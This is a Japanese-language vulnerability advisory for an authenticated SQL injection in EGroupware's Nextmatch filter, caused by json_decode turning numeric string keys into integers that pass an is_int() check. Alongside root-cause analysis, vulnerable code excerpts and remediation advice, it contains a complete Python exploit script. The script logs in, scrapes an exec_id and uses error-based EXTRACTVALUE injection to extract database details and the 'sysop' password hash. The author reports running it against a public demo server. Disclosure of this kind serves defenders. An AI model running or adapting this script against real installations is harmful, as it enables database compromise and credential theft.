
CVE-2026-22243 - EGroupware の Nextmatch フィルター処理に SQL インジェクション
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-22243 |
| 深刻度 | HIGH |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
Nextmatch ウィジェットのフィルター処理における重大な認証済み SQL インジェクション
EGroupware のコアコンポーネント、特に Nextmatch フィルター処理に重大な SQL インジェクションの脆弱性が存在します。この欠陥により、認証済みの攻撃者が任意の SQL コマンドをデータベースクエリの WHERE 句に注入できるようになります。これは、JSON デコードによって数値文字列が整数に変換され、アプリケーションが使用する is_int() セキュリティチェックをバイパスする、PHP の型ジャグリングの問題を悪用することで達成されます。
根本原因の分析
この脆弱性は、データベース抽象化レイヤー (Api\Db) と高レベルストレージクラス (Api\Storage\Base、infolog_so) が "Nextmatch" ウィジェットで使用される col_filter 配列を処理する方法に存在します。
アプリケーションは is_int($key) を使用して入力を検証し、配列キーが信頼すべき生の SQL フラグメントを表すかどうかを判断しようとします。しかし、JSON ベースの POST リクエストを処理する際、PHP の json_decode は数値文字列キー (例: "0") を自動的にネイティブの整数に変換します。
その結果、攻撃者は数値キーを含む連想配列を持つ JSON ペイロードを送信できます。アプリケーションはこれらのキーを整数として解釈し (is_int が true を返す)、悪意のある SQL を含む関連付けられた値を盲目的にクエリに直接追加します。
脆弱なコード箇所
sources/egroupware/api/src/Db.php (約 1776 行目)
メソッド: column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (約 1134 行目)
メソッド: parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
私はローカルの Docker インスタンスでこの脆弱性を検証し、公開デモインスタンス (demo.egroupware.net) で (読み取り専用で) 確認しました。
自動化エクスプロイトスクリプト: 以下のスクリプトは、ログイン、exec_id の抽出、およびエラーベース SQL インジェクションによるデータの外部送信を自動化します。
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"
if __name__ == "__main__":
if login():
eid = get_exec_id()
if eid:
print("\n" + "="*40)
print(" SQL INJECTION RESULTS ")
print("="*40)
print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}")
print(f"[+] DB User: {run_query(eid, 'SELECT user()')}")
print("\n[*] Retrieving hash for 'sysop' user (if exists):")
res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
print(f" > {res}")
print("="*40 + "\n")
demo.egroupware.net での検証の証明:
私は公開デモに対してスクリプトを実行し、本番環境に近い環境での悪用可能性を (読み取り専用で) 確認しました。

影響: 低権限アクセスを持つ攻撃者はデータベースを完全に侵害できます。これにより以下のことが可能になります:
1. 入力検証 (ホワイトリスト方式)
外部入力、特にキーが数値文字列になり得る JSON データを処理する際に、セキュリティ判断を is_int() のみに依存しないでください。Nextmatch ウィジェットでのフィルタリングに使用できるカラム名の厳格なホワイトリスト (許可リスト) を実装してください。キー/カラムがホワイトリストにない場合は、リクエストを拒否します。
2. パラメータバインド すべてのフィルター値が SQL 文字列に直接連結されるのではなく、パラメータ (プリペアドステートメント) としてバインドされることを確認してください。
3. 厳格な型チェック
JSON 入力を処理する際、キーが SQL 生成ロジックで使用される前に、期待される型に対して厳密にチェックされることを確認してください (例: 厳密比較には ===、または filter_var を使用)。
Łukasz Rybak によって報告されました